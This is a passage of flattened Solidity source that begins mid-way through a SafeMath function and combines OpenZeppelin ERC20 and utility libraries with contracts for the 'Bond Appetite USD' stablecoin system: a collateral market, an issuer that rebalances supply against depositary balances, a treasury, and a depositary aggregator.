b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "../../GSN/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "../GSN/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor () internal { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/utils/EnumerableSet.sol"; import "./utils/OwnablePausable.sol"; import "./Issuer.sol"; import "./Treasury.sol"; contract CollateralMarket is OwnablePausable { using SafeMath for uint256; using SafeERC20 for ERC20; using EnumerableSet for EnumerableSet.AddressSet; /// @notice Address of issuer contract. Issuer public issuer; /// @notice Address of treasury contract. Treasury public treasury; /// @notice Address of depositary contract. address public depositary; /// @dev Allowed tokens list. EnumerableSet.AddressSet private _allowedTokens; /// @notice An event emitted when token allowed. event TokenAllowed(address token); /// @notice An event emitted when token denied. event TokenDenied(address token); /// @notice An event thats emitted when an Issuer contract address changed. event IssuerChanged(address newIssuer); /// @notice An event thats emitted when an Treasury contract address changed. event TreasuryChanged(address newTreasury); /// @notice An event thats emitted when an Depositary contract address changed. event DepositaryChanged(address newDepositary); /// @notice An event thats emitted when an account buyed token. event Buy(address customer, address token, uint256 amount, uint256 buy); constructor( address _issuer, address payable _treasury, address _depositary ) public { issuer = Issuer(_issuer); treasury = Treasury(_treasury); depositary = _depositary; } /** * @notice Allow token. * @param token Allowable token. */ function allowToken(address token) external onlyOwner { _allowedTokens.add(token); emit TokenAllowed(token); } /** * @notice Deny token. * @param token Denied token. */ function denyToken(address token) external onlyOwner { _allowedTokens.remove(token); emit TokenDenied(token); } /** * @return Allowed tokens list. */ function allowedTokens() external view returns (address[] memory) { address[] memory result = new address[](_allowedTokens.length()); for (uint256 i = 0; i < _allowedTokens.length(); i++) { result[i] = _allowedTokens.at(i); } return result; } /** * @notice Change Issuer contract address. * @param _issuer New address Issuer contract. */ function changeIssuer(address _issuer) external onlyOwner { issuer = Issuer(_issuer); emit IssuerChanged(_issuer); } /** * @notice Change Treasury contract address. * @param _treasury New address Treasury contract. */ function changeTreasury(address payable _treasury) external onlyOwner { treasury = Treasury(_treasury); emit TreasuryChanged(_treasury); } /** * @notice Change Depositary contract address. * @param _depositary New address Depositary contract. */ function changeDepositary(address _depositary) external onlyOwner { require(issuer.hasDepositary(_depositary), "CollateralMarket::changeDepositary: collateral depositary is not allowed"); depositary = _depositary; emit DepositaryChanged(depositary); } /** * @notice Buy stable token with ERC20 payment token amount. * @param token Payment token. * @param amount Amount of payment token. */ function buy(ERC20 token, uint256 amount) external whenNotPaused { require(_allowedTokens.contains(address(token)), "CollateralMarket::buy: token is not allowed"); require(issuer.hasDepositary(depositary), "CollateralMarket::buy: collateral depositary is not allowed"); token.safeTransferFrom(_msgSender(), address(this), amount); token.transfer(depositary, amount); ERC20 stableToken = ERC20(issuer.stableToken()); uint256 stableTokenDecimals = stableToken.decimals(); uint256 tokenDecimals = token.decimals(); uint256 reward = amount.mul(10**(stableTokenDecimals.sub(tokenDecimals))); issuer.rebalance(); treasury.transfer(address(stableToken), _msgSender(), reward); emit Buy(_msgSender(), address(token), amount, reward); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "@openzeppelin/contracts/math/Math.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "./depositary/AgregateDepositaryBalanceView.sol"; import "./StableToken.sol"; contract Issuer is AgregateDepositaryBalanceView { using Math for uint256; using SafeMath for uint256; /// @notice Stable token contract address. StableToken public stableToken; /// @notice Treasury contract address. address public treasury; /// @notice An event thats emitted when an Treasury contract transfered. event TransferTreasury(address newTreasury); /// @notice An event thats emitted when an stable token total supply rebalanced. event Rebalance(); /** * @param _stableToken Stable token contract address. * @param _treasury Treasury contract address. */ constructor(address _stableToken, address _treasury) public AgregateDepositaryBalanceView(StableToken(_stableToken).decimals(), 50) { stableToken = StableToken(_stableToken); treasury = _treasury; } /** * @notice Transfer Treasury contract to new address. * @param _treasury New address Treasury contract. */ function changeTreasury(address _treasury) external onlyOwner { treasury = _treasury; emit TransferTreasury(treasury); } /** * @notice Change owner of Stable token contract. * @param _owner New owner address. */ function changeStableTokenOwner(address _owner) external onlyOwner { stableToken.transferOwnership(_owner); } /** * @notice Rebalance stable token total supply by depositary balance. Mint stable token if depositary balance greater token total supply and burn otherwise. */ function rebalance() external whenNotPaused { uint256 currentDepositaryBalance = this.balance(); uint256 stableTokenTotalSupply = stableToken.totalSupply(); if (stableTokenTotalSupply > currentDepositaryBalance) { uint256 burningBalance = stableToken.balanceOf(address(this)); if (burningBalance > 0) { stableToken.burn(address(this), burningBalance.min(stableTokenTotalSupply.sub(currentDepositaryBalance))); emit Rebalance(); } } else if (stableTokenTotalSupply < currentDepositaryBalance) { stableToken.mint(treasury, currentDepositaryBalance.sub(stableTokenTotalSupply)); emit Rebalance(); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "./utils/AccessControl.sol"; contract StableToken is ERC20, AccessControl { /** * @param initialSupply Total supply. */ constructor(uint256 initialSupply) public ERC20("Bond Appetite USD", "USDap") { _mint(_msgSender(), initialSupply); } /** * @param account Recipient of created token. * @param amount Amount of token to be created. */ function mint(address account, uint256 amount) public onlyAllowed { _mint(account, amount); } /** * @param account Owner of removed token. * @param amount Amount of token to be removed. */ function burn(address account, uint256 amount) public onlyAllowed { _burn(account, amount); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "./utils/AccessControl.sol"; contract Treasury is AccessControl { using SafeMath for uint256; using SafeERC20 for ERC20; receive() external payable {} /** * @notice Transfer target token to recipient. * @param token Target token. * @param recipient Recipient. * @param amount Transfer amount. */ function transfer( address token, address recipient, uint256 amount ) external onlyAllowed returns (bool) { ERC20(token).safeTransfer(recipient, amount); return true; } /** * @notice Transfer ETH to recipient. * @param recipient Recipient. * @param amount Transfer amount. */ function transferETH(address payable recipient, uint256 amount) external onlyAllowed returns (bool) { recipient.transfer(amount); return true; } /** * @notice Approve target token to recipient. * @param token Target token. * @param recipient Recipient. * @param amount Approve amount. */ function approve( address token, address recipient, uint256 amount ) external onlyAllowed returns (bool) { uint256 allowance = ERC20(token).allowance(address(this), recipient); if (allowance > 0) { ERC20(token).safeApprove(recipient, 0); } ERC20(token).safeApprove(recipient, amount); return true; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "@openzeppelin/contracts/math/SafeMath.sol"; import "../utils/OwnablePausable.sol"; import "./IDepositaryBalanceView.sol"; contract AgregateDepositaryBalanceView is IDepositaryBalanceView, OwnablePausable { using SafeMath for uint256; /// @notice The number of depositaries in agregate. uint256 public maxSize; /// @notice Decimals balance. uint256 public override decimals; /// @notice Depositaries in agregate. IDepositaryBalanceView[] public depositaries; /// @dev Depositaries index. mapping(address => uint256) internal depositariesIndex; /// @notice An event thats emitted when an new depositary added to agregate. event DepositaryAdded(address depositary); /// @notice An event thats emitted when an depositary removed from agregate. event DepositaryRemoved(address depositary); /** * @param _decimals Decimals balance. * @param _maxSize Max number depositaries in agregate. */ constructor(uint256 _decimals, uint256 _maxSize) public { decimals = _decimals; maxSize = _maxSize; } /** * @return Depositaries count of agregate. */ function size() public view returns (uint256) { return depositaries.length; } /** * @notice Add depositary address to agregate. * @param depositary Added depositary address. */ function addDepositary(address depositary) external onlyOwner { require(depositariesIndex[depositary] == 0, "AgregateDepositaryBalanceView::addDepositary: depositary already added"); require(size() < maxSize, "AgregateDepositaryBalanceView::addDepositary: too many depositaries"); depositaries.push(IDepositaryBalanceView(depositary)); depositariesIndex[depositary] = size(); emit DepositaryAdded(depositary); } /** * @notice Removed depositary address from agregate. * @param depositary Removed depositary address. */ function removeDepositary(address depositary) external onlyOwner { uint256 valueIndex = depositariesIndex[depositary]; require(valueIndex != 0, "AgregateDepositaryBalanceView::removeDepositary: depositary already removed"); uint256 toDeleteIndex = valueIndex.sub(1); uint256 lastIndex = size().sub(1); IDepositaryBalanceView lastValue = depositaries[lastIndex]; depositaries[toDeleteIndex] = lastValue; depositariesIndex[address(lastValue)] = toDeleteIndex.add(1); depositaries.pop(); delete depositariesIndex[depositary]; emit DepositaryRemoved(depositary); } /** * @param depositary Target depositary address. * @return True if target depositary is allowed. */ function hasDepositary(address depositary) external view returns (bool) { return depositariesIndex[depositary] != 0; } /** * @return Allowed depositaries list. */ function allowedDepositaries() external view returns (address[] memory) { address[] memory result = new address[](size()); for (uint256 i = 0; i < size(); i++) { result[i] = address(depositaries[i]); } return result; } function balance() external view override returns (uint256) { uint256 result; for (uint256 i = 0; i < size(); i++) { uint256 depositaryBalance = depositaries[i].balance(); uint256 depositaryDecimals = depositaries[i].decimals(); uint256 decimalsPower = decimals.sub(depositaryDecimals); result = result.add(depositaryBalance.mul(10**decimalsPower)); } return result; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @title The Depositary Balance interface. */ interface IDepositaryBalanceView { /** * @notice Get decimals balance. * @return Decimals balance. */ function decimals() external view returns(uint256); /** * @notice Get balance of depositary. * @return Balance of depositary. */ function balance() external view returns(uint256); } // 